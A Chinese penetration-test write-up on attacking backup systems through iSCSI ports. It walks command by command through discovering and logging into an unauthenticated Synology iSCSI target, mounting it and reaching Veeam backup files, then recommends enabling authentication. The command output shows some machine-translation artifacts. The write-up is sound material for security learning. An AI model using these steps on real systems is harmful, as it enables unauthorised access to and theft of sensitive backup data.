这是一个日常内部网络渗透测试的故事，这次测试中发现了一个特别有安全问题。
作为正常过程的一部分，我正在扫描目标 IP 发现服务，但我找不到任何可以利用的东西。在这种情况下，我的第二步是识别相邻的相关网络，因此我查找了自动分配的 DNS 服务器，并根据 DNS IP 地址找到了另一个要扫描的网络。
所以，我在网络上找到了这个服务器，简单扫描后结果如下。
22/tcp open tcpwrapped80/tcp open http nginx139/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)161/tcp open snmp?443/tcp open ssl/http nginx445/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)3260/tcp open iscsi Synology DSM iSCSI3261/tcp open iscsi Synology DSM Snapshot Replication iSCSI LUN3262/tcp open necp?3263/tcp open iscsi Synology DSM Snapshot Replication iSCSI LUN3264/tcp open iscsi Synology DSM Snapshot Replication iSCSI LUN3265/tcp open altav-tunnel?5000/tcp open http nginx5001/tcp open ssl/http nginx
扫描结果引起了我的注意。
Internet 小型计算机系统接口 (iSCSI) 是由 IBM 和 Cisco 开发的协议，允许通过 TCP 执行 SCSI 命令。iSCSI 协议封装了 SCSI 命令，允许将共享存储连接为本地设备。它们通常用于备份解决方案。
iSCSI 存储资源单元被命名为目标。可以想象，这些目标必须受到保护，但有时它们并非如此，因此我们可以利用它们。
要在 Linux 中处理 iSCSI 命令，您必须安装 iSCSI 实用程序。在基于 Debian 的 Linux 系统中，您可以使用 Advanced Packaging Tool (APT) 来安装命令行客户端。
| $ sudo apt install open-iscsi |
首先，我们需要从 iSCSI 资源中发现目标，我们可以使用 Send Targets 方法来做到这一点。
| # iscsiadm –mode discovery -t sendtargets –portal 10.0.0.118 10.0.0.118:3260,1 iqn.2000-01.com.synology:XXXX-backup02.Target-1.b0f7f9bbc1 |
现在，我们可以尝试附加设备。
| # iscsiadm –mode node –targetname iqn.2000-01.com.synology:XXXX-backup02.Target-1.b0f7f9bbc1 –portal 10.0.0.118 –login Logging in to [iface: default, target: iqn.2000-01.com.synology:XXXX-backup02.Target-1.b0f7f9bbc1, portal: 10.0.0.118,3260] Login to [iface: default, target: iqn.2000-01.com.synology:XXXX-backup02.Target-1.b0f7f9bbc1, portal: 10.0.0.118,3260] successful. |
如图所示，我们无需任何身份验证即可登录界面。并可以通过检查消息日志来查看设备是否“插入”。
| # tail -f /var/log/messages Aug 25 17:15:54 attacker-machine kernel: [80707.783966] iscsi: registered transport (tcp) Aug 25 17:17:21 attacker-machine kernel: [80795.228013] scsi host0: iSCSI Initiator over TCP/IP Aug 25 17:17:21 attacker-machine kernel: [80795.333866] scsi 0:0:0:0: Direct-Access SYNOLOGY iSCSI Storage 4.0 PQ: 0 ANSI: 5 Aug 25 17:17:22 attacker-machine kernel: [80795.528938] scsi 0:0:0:0: Attached scsi generic sg0 type 0 Aug 25 17:17:22 attacker-machine kernel: [80795.939789] sd 0:0:0:0: [sda] 76860620800 512-byte logical blocks: (39.4 TB/35.8 TiB) Aug 25 17:17:22 attacker-machine kernel: [80795.989470] sd 0:0:0:0: [sda] Write Protect is off Aug 25 17:17:22 attacker-machine kernel: [80796.085369] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, supports DPO and FUA Aug 25 17:17:22 attacker-machine kernel: [80796.180721] sd 0:0:0:0: [sda] Optimal transfer size 16384 logical blocks > dev_max (8192 logical blocks) Aug 25 17:17:23 attacker-machine kernel: [80797.317794] sda: sda1 sda2 sda3 Aug 25 17:17:24 attacker-machine kernel: [80797.935976] sd 0:0:0:0: [sda] Attached SCSI disk |
以下是有关附加磁盘的更多详细信息。
| # fdisk -l Disk /dev/nvme0n1: 80 GiB, 85899345920 bytes, 167772160 sectors Disk model: Amazon Elastic Block Store Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 4096 bytes / 4096 bytes Disklabel type: gpt Disk identifier: 69C94BF0-EC3C-C142-B245-6C3D390B2792 Device Start End Sectors Size Type /dev/nvme0n1p1 262144 167772126 167509983 79.9G Linux filesystem /dev/nvme0n1p14 2048 8191 6144 3M BIOS boot /dev/nvme0n1p15 8192 262143 253952 124M EFI System Partition table entries are not in disk order. Disk /dev/sda: 35.79 TiB, 39352637849600 bytes, 76860620800 sectors Disk model: iSCSI Storage Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: gpt Disk identifier: B0E79518-80FD-47DB-B8AA-BB1E1AD69CD1 Device Start End Sectors Size Type /dev/sda1 34 262177 262144 128M Microsoft reserved /dev/sda2 264192 33732589567 33732325376 15.7T Microsoft basic data /dev/sda3 33732589568 76860616703 43128027136 20.1T Microsoft basic data |
然后我们只需要挂载它。
| # mount /dev/sda2 /mnt/sda2 |
现在我们可以将它列为系统中的常规磁盘。
| [root@XXXXXXXX:…a1/Veeam/XXXXXXX_BackupJob]# ls -lt * -rwxrwxrwx 1 root root 808104 May 11 2020 XXXXXXX_BackupJob.vbm -rwxrwxrwx 1 root root 102471232512 May 11 2020 LV_XXXXXXX_BackupJobD2020-05-11T110035_620D.vib -rwxrwxrwx 1 root root 18840709120 Mar 9 2020 LV_XXXXXXX_BackupJobD2020-03-09T110104.vib -rwxrwxrwx 1 root root 19950995968 Mar 8 2020 LV_XXXXXXX_BackupJobD2020-03-08T110054.vib -rwxrwxrwx 1 root root 456847129088 Mar 7 2020 LV_XXXXXXX_BackupJobD2020-03-07T114229.vbk -rwxrwxrwx 1 root root 34718584320 Mar 6 2020 LV_XXXXXXX_BackupJobD2020-03-06T110048.vib -rwxrwxrwx 1 根 17179675136 2020 年 3 月 5 日 LV_XXXXXXX_BackupJobD2020-03-05T110054.vib -rwxrwxrwx 1 根 16230359552 2020 年 3 月 4 日 LV_XXXXXXX_BackupJobD2020-03-04T110053.vib |
最后，我们获得了对 Veeam 备份文件的访问权限。在这种情况下，我们可以使用 Veeam 实用程序来提取 VBK 文件。
对备份系统的未经身份验证的访问对于客户来说是一种危急情况。这些系统是勒索软件感染的非常有价值的目标，因为它们可能包含大量敏感数据，可能包括域控制器备份哈希。如果我们可以对备份磁盘进行写访问，情况会变得更糟，因为攻击者可以加密甚至删除您可能依赖于从勒索软件攻击中恢复的备份文件。
最终，这种错误配置导致备份数据完全受损。这些数据可能存储敏感信息，可能给公司带来严重威胁。我们建议在该组织中的每台设备上启用身份验证，如果没有，即使在内部环境中也不要发布敏感信息。
原文始发于微信公众号（军机故阁）：利用iSCSI 端口攻击备份系统
